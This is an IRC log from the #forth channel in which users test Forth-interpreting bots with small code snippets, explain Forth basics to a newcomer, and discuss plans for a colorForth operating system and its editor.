00:00:00 --- log: started forth/02.04.25 00:48:42 --- join: gilbertbsd (~gilbert@max1-39.dacor.net) joined #forth 00:48:49 hello 01:10:01 --- quit: gilbertbsd ("xchat exiting..") 01:30:39 --- quit: MrGone (Read error: 104 (Connection reset by peer)) 01:32:48 --- join: rob_ert (~robert@h237n2fls31o965.telia.com) joined #forth 01:43:33 --- join: davidw (~davidw@ppp-143-5.25-151.libero.it) joined #forth 06:02:07 --- join: herkamire (~jason@wsip68-15-54-54.ri.ri.cox.net) joined #forth 06:13:07 --- join: sif (~siforth@ip68-9-58-81.ri.ri.cox.net) joined #forth 06:13:07 Type sif: (or /msg sif to play in private) 06:13:20 sif: ." barcaro!" 06:13:21 hi 06:13:21 davidw: 06:13:29 sif: ' + 06:13:30 davidw: 06:13:33 sif: ' + .s 06:13:34 davidw: 25 06:13:40 sif: ' + 1+ execute 06:13:41 davidw: stack underflow 06:13:51 sif: 5 6 ' + 1+ execute 06:13:53 davidw: 06:13:55 execute doesn't work... ggrrr 06:13:58 sif: 5 6 ' + execute 06:13:59 davidw: 06:14:04 bummer 06:14:17 sif: 5 6 + execute 06:14:18 davidw: stack underflow 06:14:21 sif: 5 6 + 06:14:22 davidw: 06:14:27 sif: 5 6 + . 06:14:28 davidw: 11 06:14:40 sif: 12 ' + 1+ execute . 06:14:42 onetom: stack underflow 06:15:54 sif: 12 ' + 12 + execute . 06:15:56 onetom: 0 06:16:21 sif: : a 1000000 0 do I . loop ; a 06:16:22 davidw: Word not found: I 06:16:36 sif: : a 1000000 0 do loop ; a 06:16:37 davidw: 06:16:41 sif: 12 ' + 8 + execute . 06:16:43 onetom: stack underflow 06:16:48 sif: 12 ' + 8 - execute . 06:16:49 onetom: 12 stack underflow 06:17:37 see how it handles endless loops 06:18:02 sif: : a 1000000 0 do i . loop ; a 06:18:03 onetom: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 06:19:21 davidw: i know how 06:19:22 cat t.fs tmp2 | ./sif > tmp3 & 06:19:22 sleep 1 06:19:22 kill $! 2>/dev/null >/dev/null 06:19:36 aha 06:20:32 sif: : a 10 0 do ." Robert " loop ; a 06:20:33 rob_ert: Robert Robert Robert Robert Robert Robert Robert R 06:26:10 ok, I figured out what's wrong with execute. 06:26:23 now, if I can figure out what to do about it... 06:26:57 sif: 12 3 ' + execute . 06:26:59 onetom: 9 06:27:20 herkamire: is there anythin wrong w it? 06:27:24 it executes - in place of plus... 06:28:48 that I haven't figured out. and at compile time, it recurses until you run out of data stack 06:29:16 sif: 12 3 ' + .s 06:29:17 davidw: 12 3 25 06:29:29 sif: 12 3 ' + 1+ execute . 06:29:30 davidw: 36 06:29:42 sif: 12 3 ' + 1 execute . 06:29:43 davidw: 3 06:29:45 herkamire: oops u r right & im blind :) 06:29:53 sif: 12 3 1 execute . 06:29:54 davidw: 12 06:29:58 sif: 12 3 2 execute . 06:30:00 davidw: 650 06:30:03 sif: 12 3 3 execute . 06:30:04 davidw: 12 06:30:09 sif: 12 3 34343 execute . 06:30:10 davidw: 3 06:30:14 sif: 12 3 3434 execute . 06:30:15 davidw: 426 06:34:07 at interpret time it increments the xt then executes it... 06:34:44 if you compile it, I believe it executes everything on the datastack then gives a stack underflow error 06:40:10 : execute cell - >r ; 06:40:18 that works beautifully 06:40:38 I gotta get more of my builtins into forth... 06:43:21 sif: 1 2 ' + execute . 06:43:22 herkamire: 3 06:43:53 sif: : a ['] + 5 9 rot execute ; a .s 06:43:54 herkamire: 14 06:44:02 fixed! 08:00:21 4th: ." testing" 08:00:22 onetom: testing 08:01:41 4th: : x cr 1 . ; x x x x 08:01:42 onetom: 1 08:01:45 onetom: 1 08:01:45 onetom: 1 08:01:45 onetom: 1 08:02:00 hmm... looks a bit faster, doesnt it? 08:05:00 4th: : x 5 0 do cr i loop ; x 08:05:56 4th: : x cr 1 . ; x x x x 08:05:57 onetom: 1 08:05:58 onetom: 1 08:05:58 onetom: 1 08:05:58 onetom: 1 08:06:07 4th: : x cr 1 . ; x x x x 08:06:08 onetom: 1 08:06:10 onetom: 1 08:06:10 onetom: 1 08:06:10 onetom: 1 08:06:24 not baaad... not bad indeed 08:07:10 i made a s/putserv/putquick/ in the bot code 08:07:25 it will do ithink 08:07:42 4th: : x 5 0 do cr i . loop ; x 08:07:43 onetom: 0 08:07:45 onetom: 1 08:07:45 onetom: 2 08:07:45 onetom: 3 08:07:45 onetom: 4 08:07:52 4th: words 08:07:54 onetom: disasm disassembler base-addr show-name default-32bit default-16bit 08:07:55 onetom: default-16bit? col w@ (D.) MAXCOUNTED SPCS SPCS-MAX maxstring 08:07:55 onetom: end-code ;code (;code) code init-asm assembler print-backtrace 08:07:55 onetom: backtrace-return-stack init-backtrace backtrace-rs-buffer adjust-buffer 08:07:55 onetom: init-buffer buffer% buffer-maxlength buffer-address buffer-length 08:07:57 onetom: buffer-descriptor ekey? esc? ekey>char ekey clear-ekey-buffer 08:07:59 onetom: esc-sequence esc-prefix #esc ekey-buffered ekey-buffer esc-sequences 08:08:01 onetom: unkeys unkey char-append-buffer key-buffered key-buffer k12 k11 k10 08:08:03 onetom: k9 k8 k7 k6 k5 k4 k3 k2 k1 k-insert k-end k-home k-down k-up 08:09:14 ithink, its time 2 implement /msg so the bot wont fill up the logs while just testing it 08:16:38 melle 08:18:26 4th: ." dumptest" 08:19:21 4th: ." dumptest" 08:19:22 onetom: dumptest 08:42:17 --- join: tathi (~tathi@wsip68-15-54-54.ri.ri.cox.net) joined #forth 09:25:23 4th: : panic 1000 0 do 65 emit loop ; panic 09:25:24 herkamire: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 09:26:03 4th: : panic 510 0 do 65 emit loop ; panic 09:26:05 herkamire: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 09:26:26 4th: : panic 519 0 do 65 emit loop ; panic 09:26:28 herkamire: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 09:27:41 the bot truncates to 451 chars?? 09:29:27 random... but I'm glad it does truncate, cuz otherwise it might get booted 09:30:01 4th: : a ." interesting" ; a 09:30:02 herkamire: interesting 09:30:04 4th: a 09:30:05 herkamire: in file included from *the terminal*:-1 09:30:06 herkamire: /tmp/fsock-sh-server.request:1: Undefined word 09:30:06 herkamire: a 09:30:06 herkamire: ^ 09:30:06 herkamire: Backtrace: 09:30:08 herkamire: $4011D188 throw 09:30:10 herkamire: $401271E8 no.extensions 09:34:39 onetom: does it handle infinite loops? 09:37:38 --- join: [Atlas] (fare@samaris.tunes.org) joined #forth 09:54:12 recurse is cool :) 09:55:56 gforth: ." :D" 10:04:43 sif: : a dup . 1 - dup if recurse then drop ; 9 a 10:04:44 herkamire: 9 8 7 6 5 4 3 2 1 10:04:56 aaaaaahhh leluya 10:05:31 sif: .( :() 10:05:32 rob_ert: :( 10:22:46 how should alias work? ALIAS OLD NEW or ALIAS NEW OLD 10:23:06 --- join: MrGone (~mrreach@209.181.43.190) joined #forth 10:23:09 Hi MrGone 10:23:17 herkamire: Intel syntax! 10:23:20 hi rob_ert 10:23:24 i.e. the second one :) 10:26:01 --- quit: [Atlas] (Remote closed the connection) 10:41:55 ok. thanks 10:48:15 --- join: redoz (undo@m99.ryd.student.liu.se) joined #forth 10:58:17 --- join: futhin (thin@h24-64-174-2.cg.shawcable.net) joined #forth 10:58:44 hi hi 10:58:50 hihi 10:59:15 gforth: : hihi 10 0 do ." hihi" loop ; hihi 10:59:39 gforth: 1 2 + . 10:59:41 hm 10:59:53 mrreach: so what's happening? 11:00:58 getting ready to see a friend into surgery in an hour or so 11:02:28 she has gallstones 11:02:30 so, is forth alive and kicking? 11:02:31 :( 11:02:51 redoz: it's kicking for sure :P 11:02:51 depends who you ask, but yes I'd say it is 11:03:28 so, what is it used for, what are it's strengths? 11:03:37 what platforms does it compile on.. 11:03:38 etc.. 11:03:44 --- nick: MrGone -> MrReach 11:03:56 redoz: any platform 11:03:57 well it's a great general purpose language except it needs more support & needs to be extended more 11:04:04 it's highest and best use at this point is still in embedded apps 11:04:27 embedded as in uCs, stuff like that? 11:04:29 it's a great low-level language, but also is a great high-level & script-like language .. 11:04:33 there are several general purpose versions out there, and they work pretty well 11:05:12 I've seen it used to write a web server (hasn't every language?) ... to parse queries 11:05:26 rob_ert: do I have to do intel syntax??? it's harder 11:05:35 I myself only use it when its low-level functions are not provided in TCL 11:05:44 ok, anyone have a forth example? 11:06:07 : hello ." Hello world!" ; hello 11:06:17 sif: : hello ." Hello world!" ; hello 11:06:18 MrReach: Hello world! 11:06:19 ok, you wanna explain that too? 11:06:41 sif is a bot that interprets forth code and sends the output back to the channel 11:06:52 redoz: is this for a class or something? 11:07:13 MrReach: hehe :) no actually 11:07:16 just interested 11:07:22 ok ... 11:07:28 : hello ." Hello world!" ; hello 11:07:48 the colon tells the forth interpreter to begin compiling a new definition 11:08:13 like a function? 11:08:15 or subroutine 11:08:16 it parses the next "word" from the stream and creates an entry for it in the dictionary 11:08:21 correct 11:09:02 the ." is a word that parses the text stream to the next ", then compiles a string literal, and a call to send that literal to stdout 11:09:27 the ; (semicolon) ends the definition and makes the word findable in the dictionary 11:09:53 the last word, hello, executes the new defenition 11:09:57 ok, so normally youd have a newline after the ; 11:10:01 for readability 11:10:06 yes 11:10:16 well that seems easy enough.. 11:10:30 by convention, the colon, name, and a stack comment go in one line at the top 11:10:41 so if I wanted to run 'hello' twice..? 11:10:52 then maybe several lines of comment describing the word 11:11:09 sif: : hello ." Hello world!" ; hello hello hello 11:11:10 MrReach: Hello world!Hello world!Hello world! 11:11:14 : 2 0 do ." hello" loop ; 11:11:36 ooops, I should have added some whitespace 11:11:42 but you don't normally cram all of this on the same line? 11:11:51 no, not normally 11:11:56 ok 11:12:09 sif only remembers definitions for one line of code 11:12:10 so is there a win32 compiler? 11:12:24 plenty of them :) 11:12:26 yes, there's a few different forths for win32 11:12:29 forth comes in "systems" ... and yes there are several for win32 11:12:41 systems eh? 11:12:53 uh.. forth comes in "forths" 11:12:54 forth is both an interpreter and a compiler ... so the best term is "forth system" 11:12:56 http://www.forth.org/compilers.html 11:13:16 my favorite for windows is Win32Forth 11:13:17 lists a bunch of the better-known ones... 11:14:16 so what do you guys use forth for+ 11:14:23 anything 11:14:31 write an imap mail notifier? 11:14:36 sure 11:14:57 some things can be difficult because of lack of support.. 11:15:00 does it have window toolkits? 11:15:07 or support for native win32 calls? 11:15:13 I've only got one forth app going at the moment ... and that's a light-sound machine ... it uses mutimedia sound and drive the output pins of the printer port 11:15:15 or rather native win32 windows 11:15:19 win32forth lets u do gui and stuff i think.. 11:15:41 win32toolkits are lacking, but can call arbitrary libs/dlls 11:15:47 win32forth has some gui support & supports native win32 calls i think.. 11:16:57 it really needs a widget toolkit 11:17:12 hm 11:17:23 bigforth has an excellent widget toolkit, that's what it is written for, but it's not hardly documented 11:17:25 it uses RPN too doesn't it? 11:17:31 yes, it does 11:17:36 that's a + :) 11:17:40 sif: 4 3 + . 11:17:41 MrReach: 7 11:18:10 dot prints whatever number is on the top of stack (TOS) 11:18:24 so everything gets places on the stack ? 11:18:30 placed 11:18:38 generally, yes 11:18:54 parameters are passed on the stack. 11:19:06 there are memory structs, too, of course, but the stack is where data is expected to reside be tween words 11:19:26 hm, well, it sounds like a fun language 11:19:40 I'm just not sure what I would use it for :) 11:19:40 there is no syntax for passing parameters, you just put the parameters on the stack and call a word 11:19:57 redoz: neither are we I think... 11:20:04 yes, "fun" is a good word ... especially because you can change the behavior and sytax in any way you wish 11:20:19 redoz: I made this bot for fun, and tathi and I are making an Operating System in it. 11:21:03 the problem with forth is usually a lack of support for libs and APIs. 11:22:05 We've been wanting to write our own operating system, so that's not a problem as we will be coding everything from scratch anyway 11:22:34 heh, where forth *IS* the libs and API 11:22:38 if you want to do graphics, be sure to pick a forth that has a graphics API built it 11:22:51 MrReach: exactly :) 11:23:10 once everything is in forth it's Beautiful. you have a rediculous amount of access to everything. 11:24:51 herkamire: so why aren't you in in #forthOS ? 11:25:22 redoz: :) I haven't seen anybody in there that's not also in here :) 11:25:46 true 11:25:46 I'll join though 11:26:09 do you have a detailed plan on your os, or are you just hacking along? 11:26:43 so far, tathi's doing all the work 11:27:03 --- topic: set to 'Forth - comprehensible, small, interactive, fast, extensible, and easy to work with at a high level of abstraction <|> get isforth at http://isforth.clss.net <|> enriching Forth & the support of it - come to #forthos' by ChanServ 11:27:25 ugh, what kind of separators should i use? <|> kinda sucks.. 11:27:46 " --- " 11:27:55 that's long 11:27:58 herkamire: well that sounds like a good plan :) 11:28:07 i want short but good separators :) 11:28:10 HAHAHA! 11:28:48 redoz: we have a plan, it's not huge, but I don't think it's great to get too far ahead of ourselves. 11:28:49 redoz: onetom & i & others will be planning & designing an os 11:29:40 redoz: We plan to make a terminal interface and write an editor that is built in. We will have it boot up into the forth interpreter (of course) 11:30:14 ok 11:30:21 sounds like a fun project 11:30:30 what about filesystems? 11:30:45 we have done some thinking about graphics APIs and protected memory and multitasking etc, but I think it's good to not make plans untill you have a use for them. 11:30:51 mrreach: ? 11:30:56 redoz: no filesystem. 11:31:04 uhm..ok.. 11:31:10 redoz: We'll make a filesystem if we need it. 11:31:10 yes? 11:31:23 mrreach: just wondering what you were laughing at.. 11:31:27 this might be a sweet thing for a car mp3 player..stuff like that..or am I way of fnow? 11:31:46 futhin: redoz's comment that it was a good plan to let others do all the work 11:32:24 redoz: for MP3s you need hardware support or a fast processor I think. 11:33:05 well "fast" 11:33:11 Does anyone here know a page with an english charachter frequency table? 11:33:14 a 486 dx4 will do iirc 11:33:17 --- join: XeF4 (venmbc@12-245-116-85.client.attbi.com) joined #forth 11:33:18 --- topic: set to 'Forth - comprehensible, small, interactive, fast, extensible, and easy to work with at a high level of abstraction / get isforth at http://isforth.clss.net / enriching Forth & the support of it - come to #forthos' by ChanServ 11:33:33 At first all we will have on our system is code and documentation, and we are just going to use the blocks on the disk (every other will be code) 11:33:37 redoz: Hej förresteb :) 11:33:47 hello? 11:33:48 s/b/n/ 11:33:53 the documentation for the block of code will be in the next block. 11:34:23 ok, so what is your goal with the OS? 11:34:27 fascinating. that has never been done before. 11:34:49 XeF4: the every other block thing? I believe that's what Chuck Moore is doing. 11:35:23 redoz: to make software development simple and easy and quick, and to have a system that is fast and simple 11:35:28 herk: that has been convention for ~30 years 11:35:31 it's similar to shadow blocks in the venerable F83 11:36:10 cool. Chuck said something about a "shadow block" and I was guessing that he meant this 11:36:29 herkamire: hmm 11:36:56 well, generally shadow blocks are kept in a seperate file so that the source file can be interpreted w/o interruption 11:37:22 sometimes shadow blocks are placed at the end of the file 11:37:52 cool :) well, we don't have any plans for "files" yet. just blocks. 11:37:57 if we need files we'll implement them 11:38:25 it will be a system that you can make do anything (rather than one that already does everything) 11:38:44 so will this be like V2os 11:38:46 no, I meant that the shadow bocks are *NOT* interlaced with the source blocks ... hoever that is accomplished 11:38:50 something you put on a floppy and boot? 11:39:17 redoz: we would do that, except we don't have floppy drives :) 11:39:28 you don't have floppy drives? 11:39:36 what kind of hardware are you using? 11:39:51 redoz: instead of buying one I just got another hard drive for $20 11:40:07 ah 11:40:13 I have a dual G4 (Apple hardware) 11:40:18 ah 11:40:23 makes sense 11:40:31 great hardware :) 11:40:37 20 bucks for a harddrive? 11:40:39 I'm sure, bit expensive though 11:40:40 how big? 11:40:50 1200MB 11:40:54 yo ucan get 80gig för $150 now 11:40:58 barracuda IV 11:41:13 let's here it for ebay :) 11:41:17 umm this is a forth system 11:41:25 I don't need 80GB 11:41:27 doesn't matter how big, the kernel is not likely to exceed 100K ... and the sources 500K 11:41:30 1.2 GB is _way_ more than I can ever imagine using :) 11:41:43 herkamire: I got 240gig, well 160 of that is in the mail 11:41:43 I have thirty for linux and Mac OS and I don't know what to do with it except rip every CD I like. 11:42:00 I have cable internet, and my disk isn't really filling up 11:42:19 mine is 11:42:21 I'm a music phreak, downloaded over a gig of music just today 11:42:26 our forth system will run fine in 1MB for quite a while I think. 11:42:32 MrReach: actually, with the huffman-encoded colorforth source, the source is almost always smaller than the binary... 11:42:33 i have 100 gigs of anime 11:42:34 bwahahah! :P 11:42:43 actually, it's 120 11:43:20 wierd 11:43:49 I have 2.5 GB of mp3s and probably a few MB of other data that's important 11:44:08 herkamire: no, weird :p 11:44:52 redoz: I would like more music, but I don't mind getting a drive for music. 11:45:24 hm..ok.. 11:45:42 so this OS will only host a forth compiler/editor/interpreter 11:45:50 anyway, with forth code and good programming you can make your programs/system VERY small 11:46:20 hm 11:46:22 Chuck Moore has made a forth operating system that he's been using for over a year I think and it still fits comfortably on a floppy disk. 11:46:33 (system and programs) 11:46:39 but it wont be the next BeOS :) 11:46:57 what do you mean the next BeOS? 11:47:04 the idea is many small pieces of functionality 11:47:12 "be cooler than Mac and be bought out" 11:47:16 oh :) 11:47:29 no, sorry I'm confusing it with NExt 11:47:36 over a year.. he uses his VLSI CAD on colorforth i think, and that was made about 1995 or something.. 11:48:00 so colorforth has been in existance for awhile, and he's been using it 11:48:38 7 years of development by a genious and it still only takes up what? half the floppy? 11:48:46 wth many small pieces, surprising synergies often result 11:48:49 with documentation 11:49:01 (well, some documentation anyway) 11:49:29 somebody was noticing that he wrote way more documentation than code 11:50:41 my cat is eating my food 11:50:47 *puts the cat back on the floor* 11:52:46 time to go to the hospital 11:52:50 --- nick: MrReach -> MrGone 11:53:42 redoz: My sisters hamster peed in my bed :/ 11:53:53 *removed sister + hamster* 11:54:39 that's gross 11:55:38 Gross? 11:55:55 disgusting 11:56:05 www.dict.org is your friend :) 11:56:11 lies 11:56:16 www.m-w.com is your friend 11:56:16 so, where are ya from, I'm asuming sweden? 11:56:40 futhin: ah, nice *bookmarks* 11:56:57 redoz: Yup. 11:57:01 redoz: .telia.com :) 11:57:21 And you? .liu.se reminds me of Linköpings Universitet. 11:57:27 yep 12:00:54 comp. sci. student..go figure 12:01:23 in here?!? no way 12:01:27 ;) 12:02:24 yeah, I guess you don't see a lot of those around :p 12:11:38 I found something to use forth for 12:11:55 what? 12:12:15 http://www.lysator.liu.se/realtimebattle/ 12:12:23 well either that or lisp.. 12:17:19 I was just this morning thinking about doing something like that, actually :) 12:37:28 I've been wanting a cool contest like that, where I could write my bot in forth. I'm not interested in doing all the text parsing right now (it probably wouldn't take all that long, but it seems soo pointless) 12:37:47 I'm in a lazy mood I guess. speaking of which... I should probably do some "work" 12:39:44 hi 12:40:06 hi :) 12:40:21 ive chked that robot page 12:40:34 look fun? :) 12:40:37 but the its docs r not accessible now 12:40:53 so iwasnt able 2 figure out 12:41:08 the bot lang 12:41:11 is it C? 12:41:15 it's whatever 12:41:20 your bot is a seperate binary 12:41:21 coz there is a messagetype.h 12:41:26 aha 12:41:33 &whats the comm interface?û 12:41:36 the engine sends you text messages in stdin 12:41:47 and you write text message to stdout 12:42:06 hmmm, sounds pretty easy 12:42:10 it looked like it wouldn't be bad to parse. 12:42:25 and do u have any experience in such area? 12:42:33 each line of text starts with a word then space :) :) 12:42:48 its in 4th in fact :))) 12:43:41 do u know anything about building a cognitive map, for example? 12:44:05 or does the bot know the map of the arena? 12:48:11 I don't think it tells you the map 12:48:26 when you hit something it tells you what it is :) :) :) 12:49:57 like a bullet for example :) 12:51:16 there are many many robot battle pages & systems 12:55:03 yaa 12:57:07 and they're all the same :( 12:57:16 :) 12:57:27 it sounds fun 12:58:08 I saw a neat one the other day...similar to this one in that the robots were external programs 12:58:19 but the arena was a 3D car racing game 12:58:50 3d to the bot's perspective? 12:59:01 I believe so 12:59:03 how about a 3d outer space bot battle 12:59:13 yeah, that's what I _really_ want to see 12:59:13 xyz coords 12:59:34 with gravity 12:59:38 yup yup 12:59:39 and planets 12:59:44 and black holes :P 12:59:56 lets go futher... let's let them own planets & develop technolgy and do strategy!!! 13:00:00 :P 13:00:08 yay, StarCraft :) 13:00:31 though I'm not really into just bot games, I'd like to see a game where you can play fighter jockey or program hordes of robot drones to do your fighting for you :) 13:00:55 whichever you feel like at the moment 13:01:52 one of these days I'll write one...when I have an OS that has support for my 3D hardware... :( 13:02:10 install windows? :) 13:02:12 why not start with a 2d one first 13:02:24 or text 13:02:37 futhin: I'm planning to 13:03:01 it's just that I never seem to have less than 4 other projects that I want to get finished :) 13:03:15 i have 20 projects :P 13:04:00 i'm going to start up some simple routine that involves me coding for 1 hour everyday 13:04:33 yeah, it's amazing how much you can get done when you do that 13:05:34 yeah.. i'm kinda lazy about coding 13:05:52 and i have so many different things that i want to code 13:06:02 there are many tools i want to code for myself 13:06:17 like a scheduler/time tracker/planner 13:07:10 it's hard to just ignore all the cool ideas you come up with and just concentrate on what you're working on sometimes 13:07:28 the whole point of friggin programming, is to be able to code the tools you need.. ON THE FLY!!! 13:07:36 hehe 13:07:40 and that's why i look to forth 13:07:51 because if it is extended to a high-level 13:07:58 it'll have the _fastest_ devel time 13:08:08 and be really easy to extend your programs on the fly, as needed 13:08:15 so what are you waiting for? go start extending! 13:08:16 :P 13:08:18 :) 13:08:38 that's why #forthos exists 13:08:42 it's about this stuff 13:08:43 heh 13:08:48 maybe i should change the name of the channel ?? 13:08:51 is #forthos a bad name 13:09:04 well it led me to believe there was an OS called forthOS 13:09:14 yeah yeah :) 13:09:17 I think it's an ok name, just everybody hangs out here instead 13:09:20 i'm thinking maybe a different name.. 13:09:49 any ideas? :) 13:10:17 I think whatever you name it, people will still just use this channel 13:10:23 hehe 13:10:54 unless someone starts complaining that our forth OS discussions here are off-topic or something 13:11:55 i still think that a separate channel should be done.. because if ppl get together & start planning & discussing forth & extending it.. and start making progress. we'll need a separate channel 13:12:55 yeah 13:13:15 I may start using it once I get my OS going and feel like seriously discussing OS stuff 13:13:35 tathi: does your OS do anything yet? 13:13:38 ie does it boot 13:13:52 it did at one point 13:14:05 don't think it does at the moment 13:14:55 I wrote Linux I/O routines for it, and I'm currently writing an editor, not device drivers 13:15:19 so it's easier to debug under linux where I don't have to re-boot if I want to go look something up on the web or whatever 13:15:41 tathi: i have a really cool idea for an editor that also lets you keep the advantage of forth's interactiveness 13:16:27 let's port Emacs ;) 13:16:44 interactive is supposed to be one of forth's advantages.. but if u use an editor, that advantage is mostly unused :( 13:16:56 so we need to combine interactive & editor 13:17:01 yes 13:17:03 because editor is useful for coding in 13:17:08 definitely 13:17:45 I'm just calling it an editor -- really it's somewhere between editor/console 13:17:58 why not a split screen 13:18:14 editor, button to eval, and then a prompt 13:18:41 possibly 13:18:58 my idea is something like: top 80% of the screen is the editor, bottom 20% is the interactive & input part.. you code stuff in the input part, and whatever you like, gets put into the editor.. 13:18:59 seems like the best solution to me. 13:19:09 I'm still coding general input/line-editing type routines 13:19:15 futhin: yeah 13:19:16 i'm not quite sure about how exactly it'll look & work.. needs some design 13:20:15 tathi: let me help a little with your editor.. like on the design or something :) 13:20:39 tathi: or, if you code a good editor vocabulary, i could just use those words to make the editor ;) 13:21:17 (most of the work would fall on u for the editor code, bwahahah) ;) 13:21:21 futhin: just keep in mind that this is colorforth, so it's a bit unusual... 13:21:33 no prob 13:21:44 colorforth is l33t :P 13:22:36 what is colorforth? 13:22:36 tathi: hey, im also interested in editor design 13:22:52 redoz: it's what chuck moore is working on these days 13:22:57 tathi: uknow, we wanna make a multiuser editor 13:22:58 who? 13:23:00 redoz: Chuck Moore, (creator of forth in the first place) 13:23:13 tathi: and you need an SVN client :) 13:23:24 tathi: dont u wanna share ur code w us, by chance? 13:23:27 redoz: it's his latest incarnation of forth. see http://www.colorforth.com 13:23:39 redoz: Chuck Moore created forth, he's a genius, and my hero ;) 13:23:48 redoz: SVN? 13:23:59 redoz: SVN? 13:24:31 redoz: http://www.forth.com/Content/History/History1b.htm 13:24:38 version control software 13:24:40 redoz: find out about the history 13:24:40 onetom: don't have much at the moment, I'm still trying to find the best way to do the huffman encoding in forth 13:24:56 I got addicted to it, I use it for everything now :) 13:25:00 well all my projects anyway 13:25:05 you mean CVS ? 13:25:14 no, I mean SVN, subversion.tigris.net 13:25:18 hmm 13:25:33 but it's a replacement for CVS 13:25:34 checking it out 13:25:44 cvs works for me 13:25:57 svn also versions directories and all kinds of fun stuff 13:26:07 redoz: was just going to ask if it did that :) 13:26:07 I was thinking our command line editing would be the editor 13:26:10 tathi: oyc... but still.. it would b useful 2 share i think 13:26:15 redoz: subversion.tigris.net doesn't work for me? 13:26:30 .org sorry 13:26:31 futhin: .org 13:26:49 it's in #svn 13:27:02 onetom: I'll show it to you once I finish debugging it :) 13:29:02 tathi: ehh... cant wait that long :P 13:29:18 * onetom is so curious about tathis srces 13:30:31 herkamire/tathi: either of you read Starting Forth? 13:31:00 I've read a bunch of it 13:31:07 got it out of the library sometime last week 13:31:17 you encountered the command line editor it has right 13:31:17 I was showing the cartoons to herk 13:31:32 erm...I skipped that section mostly 13:31:37 I thought the command line editor that Starting Forth has kinda sucks 13:31:44 i've encountered a better & userfriendly one 13:32:41 where? 13:33:02 ed? 13:33:07 :P 13:33:42 you typed: "1 25 list" and it displays 25 lines. and then you type "13 i" and you type the line of code which gets inserted.. 13:34:07 if you want to delete it, "13 d" deletes line 13.. 13:34:15 ah 13:34:32 yeah, DiscworldMUD has an editor like that 13:34:37 which I've used a bit 13:34:44 ok, you know it then.. 13:34:55 the editor i'm talking about i used in TinyMUCK 13:35:05 it was kind of ok.. 13:35:14 although a screen-based editor is easier to use 13:35:33 are you making a screen-based editor? 13:35:58 yeah 13:37:03 I like seeing the code I'm editing 13:37:30 herkamire: that's overrated :) 13:37:52 tathi's writing a code editor. 13:38:41 my editor will be just commandline editing for colorforth 13:38:50 it won't have lines 13:39:11 it will be compressed 32 bit words with color 13:39:36 herkamire: it doesnt matter 13:39:45 what doesn't? 13:39:48 herkamire: ur editor could also b 13:40:13 herkamire: b a good thinking motivator 13:40:36 herkamire: what does commandline editor mean? like vi? :( 13:40:51 no I mean like bash 13:40:58 futhin: or the 1 in starting forth :))) 13:42:16 bash?? 13:42:20 something where you can hit the left and right arrow keys and delete and backspace and insert text and change the collors 13:42:21 bash is not an editor :P 13:42:29 and when you hit return it executes it 13:42:36 ah 13:42:46 and when you hit home, it goes to the begining of the line ;) 13:42:51 not an editor program. commandline editing 13:43:02 I will merge them 13:43:52 yeah, or up arrow if I don't have a history. I'll make some nice keybindings as I get around to it. 13:44:11 keep me updated & show me the code as you progress :P 13:44:23 ok. 13:44:40 i want to see the editor code as you progress, i could learn something :) 13:44:45 so far, I haven't started coding. I'm waiting for tathi to fix key so it doesn't echo to the terminal. 13:44:47 you are coding it in forth right, not c? :P 13:44:56 yes. colorforth 13:45:03 futhin: do you have emacs? 13:45:14 sure, why? 13:45:39 I made an emacs mode that displays our colorforth code (before it's encoded) 13:46:03 you need that to see the colors 13:50:36 its more elegant ithink 13:50:50 oops 14:01:14 but infact, the outside dups will also do... 14:07:17 ay, those r more complex 14:14:38 --- quit: tathi ("Client Exiting") 14:14:52 --- quit: herkamire ("Client Exiting") 14:27:45 --- join: tcn (tcn@tc1-login4.megatrondata.com) joined #forth 14:27:45 --- mode: ChanServ set +o tcn 14:29:48 Hello 14:31:20 hey 14:31:57 --- quit: XeF4 ("ircII EPIC4-1.0.1 -- Are we there yet?") 14:35:19 hi hi tcn :) 14:35:26 how is it going? :) 14:36:00 what do you think of the wonderful channel 